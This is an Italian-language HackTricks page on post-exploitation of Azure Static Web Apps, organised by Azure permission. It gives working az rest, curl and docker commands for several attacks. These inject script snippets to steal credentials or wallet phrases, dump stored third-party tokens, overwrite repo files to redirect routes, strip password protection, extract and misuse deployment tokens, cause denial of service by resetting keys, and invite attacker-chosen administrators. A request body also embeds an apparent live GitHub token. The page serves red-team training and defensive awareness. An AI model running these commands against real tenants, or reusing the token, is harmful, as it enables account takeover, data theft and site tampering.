Az - Static Web Apps Post Exploitation
Reading time: 10 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Azure Static Web Apps
Per ulteriori informazioni su questo servizio, controlla:
Microsoft.Web/staticSites/snippets/write
È possibile far caricare a una pagina web statica codice HTML arbitrario creando uno snippet. Questo potrebbe consentire a un attaccante di iniettare codice JS all'interno dell'app web e rubare informazioni sensibili come credenziali o chiavi mnemoniche (in portafogli web3).
Il seguente comando crea uno snippet che sarà sempre caricato dall'app web::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Leggi le credenziali di terze parti configurate
Come spiegato nella sezione App Service:
Eseguendo il seguente comando è possibile leggere le credenziali di terze parti configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive.
Ecco alcuni esempi di comandi per controllare i token:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Sovrascrivere file - Sovrascrivere percorsi, HTML, JS...
È possibile sovrascrivere un file all'interno del repo Github contenente l'app tramite Azure inviando una richiesta come la seguente che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit.
Questo può essere sfruttato dagli attaccanti per cambiare il contenuto dell'app web per servire contenuti malevoli (rubare credenziali, chiavi mnemoniche...) o semplicemente per reindirizzare determinati percorsi ai propri server sovrascrivendo il file staticwebapp.config.json
.
warning
Nota che se un attaccante riesce a compromettere il repo Github in qualsiasi modo, può anche sovrascrivere il file direttamente da Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
Con questo permesso, è possibile modificare la password che protegge un'app web statica o addirittura rimuovere la protezione da ogni ambiente inviando una richiesta come la seguente:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Questo permesso consente di ottenere il token di distribuzione della chiave API per l'app statica:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Poi, per aggiornare un'app utilizzando il token, puoi eseguire il seguente comando. Nota che questo comando è stato estratto controllando come funziona Github Action https://github.com/Azure/static-web-apps-deploy, poiché è quello impostato da Azure per impostazione predefinita. Quindi l'immagine e i parametri potrebbero cambiare in futuro.
tip
Per distribuire l'app, puoi utilizzare lo strumento swa
da https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token o seguire i seguenti passaggi:
- Scarica il repo https://github.com/staticwebdev/react-basic (o qualsiasi altro repo tu voglia distribuire) ed esegui
cd react-basic
. - Modifica il codice che desideri distribuire
- Distribuiscilo eseguendo (Ricorda di cambiare il
<api-token>
):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
warning
Anche se hai il token, non sarai in grado di distribuire l'app se la Deployment Authorization Policy è impostata su Github. Per utilizzare il token avrai bisogno del permesso Microsoft.Web/staticSites/write
per cambiare il metodo di distribuzione per utilizzare il token APi.
Microsoft.Web/staticSites/write
Con questo permesso è possibile cambiare la fonte dell'app web statica in un diverso repository Github, tuttavia, non verrà automaticamente provisionato poiché questo deve essere fatto da un'azione Github.
Tuttavia, se la Deployment Authorization Policy è impostata su Github, è possibile aggiornare l'app dal nuovo repository sorgente!.
Nel caso in cui la Deployment Authorization Policy non sia impostata su Github, puoi cambiarla con lo stesso permesso Microsoft.Web/staticSites/write
.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Esempio di Github Action per distribuire l'app:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Con questo permesso è possibile reimpostare la chiave API dell'app web statica, potenzialmente causando un DoS ai flussi di lavoro che distribuiscono automaticamente l'app.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Questo permesso consente di creare un invito per un utente ad accedere a percorsi protetti all'interno di un'app web statica con un ruolo specifico assegnato.
Il login si trova in un percorso come /.auth/login/github
per github o /.auth/login/aad
per Entra ID e un utente può essere invitato con il seguente comando:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Per impostazione predefinita, le Pull Requests da un ramo nello stesso repo verranno automaticamente compilate e costruite in un ambiente di staging. Questo potrebbe essere abusato da un attaccante con accesso in scrittura al repo ma senza poter bypassare le protezioni del ramo di produzione (di solito main
) per deporre una versione malevola dell'app nell'URL di staging.
L'URL di staging ha questo formato: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>
come: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
tip
Nota che per impostazione predefinita, le PR esterne non eseguiranno flussi di lavoro a meno che non abbiano unito almeno 1 PR nel repository. Un attaccante potrebbe inviare una PR valida al repo e poi inviare una PR malevola al repo per deporre l'app malevola nell'ambiente di staging. TUTTAVIA, c'è una protezione inaspettata, l'azione predefinita di Github per deporre nell'app web statica ha bisogno di accesso al segreto contenente il token di distribuzione (come secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F
) anche se la distribuzione è effettuata con l'IDToken. Questo significa che poiché una PR esterna non avrà accesso a questo segreto e una PR esterna non può modificare il Workflow per inserire qui un token arbitrario senza che una PR venga accettata, questo attacco non funzionerà realmente.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.